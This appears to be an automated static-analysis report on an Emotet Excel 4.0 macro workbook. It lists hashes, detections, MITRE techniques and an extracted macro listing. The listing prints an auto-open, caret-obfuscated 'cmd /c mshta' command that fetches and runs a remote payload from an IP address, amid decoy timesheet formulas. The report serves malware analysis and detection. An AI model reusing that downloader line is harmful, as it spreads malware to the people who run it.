Emotet — Office (OLE) / .XLSX malware analysis

Static analysis result for SHA-256 af03dc7443eab3b8…

MALICIOUS

Office (OLE) / .XLSX

141.2 KB Created: 2022-01-18 14:11:14 Authoring application: Microsoft Excel
MD5: 87352b009b5a43ee3623733b5aef1be1 SHA-1: 4c83ae04cfb4524180d8a59367010ed4cc4b5cf4 SHA-256: af03dc7443eab3b82afafa387d63a0739ad926f80bdf6b0efc32cc31961f0654
140 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1566.002 Spearphishing Attachment T1059.005 Visual Basic

The critical heuristics indicate the presence of Excel 4.0 macros with an Auto_Open entry, a common technique for Emotet. ClamAV also specifically detected this file as 'Doc.Downloader.EmotetExcel01220-9936774-0'. The macro sheet appears to be configured to automatically execute upon opening, suggesting it's designed to download and execute a secondary payload.

Heuristics 3

  • ClamAV: Doc.Downloader.EmotetExcel01220-9936774-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetExcel01220-9936774-0
  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
c355a4e8b51815f97cf3e202ab7d47ce16f5f701c419b0e7a11ef751a8ea709e		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 3661 bytes
Preview script
First 1,000 lines of the extracted script
' 0085     10 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden -  F
' 0085     17 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden -  Time Car
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  F!L1 
' 0018     18 LABEL : Cell Value, String Constant - lll len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  F,L24,"SET.NAME("lll","cmd /c m^sh^t^a h^tt^p^:/^/185.7.214.7/ve/ve.html")",""
'  F,L30,[],""
'  F,L36,HALT(),""
'  Time Car,C16,"",39082.00000000000000000000
'  Time Car,C21,"IF(C16=0,"",C16-6)",""
'  Time Car,H21,"IF(R~20C~3>24,"Total > 24 hours.",R~20C~3)",""
'  Time Car,C22,"IF(C16=0,"",C16-5)",""
'  Time Car,H22,"IF(R~21C~3>24,"Total > 24 hours.",R~21C~3)",""
'  Time Car,C23,"IF(C16=0,"",C16-4)",""
'  Time Car,H23,"IF(R~22C~3>24,"Total > 24 hours.",R~22C~3)",""
'  Time Car,C24,"IF(C16=0,"",C16-3)",""
'  Time Car,H24,"IF(R~23C~3>24,"Total > 24 hours.",R~23C~3)",""
'  Time Car,C25,"IF(C16=0,"",C16-2)",""
'  Time Car,H25,"IF(R~24C~3>24,"Total > 24 hours.",R~24C~3)",""
'  Time Car,C26,"IF(C16=0,"",C16-1)",""
'  Time Car,H26,"IF(R~25C~3>24,"Total > 24 hours.",R~25C~3)",""
'  Time Car,C27,"IF(C16=0,"",C16)",""
'  Time Car,H27,"IF(R~26C~3>24,"Total > 24 hours.",R~26C~3)",""
'  Time Car,D28,R~20C~3,""
'  Time Car,E28,R~20C~4,""
'  Time Car,F28,R~20C~5,""
'  Time Car,G28,R~20C~6,""
'  Time Car,H28,R~20C~7,""
'  Time Car,D30,D28*D29,""
'  Time Car,E30,E28*E29,""
'  Time Car,F30,F28*F29,""
'  Time Car,G30,G28*G29,""
'  Time Car,H30,R~29C~3,""

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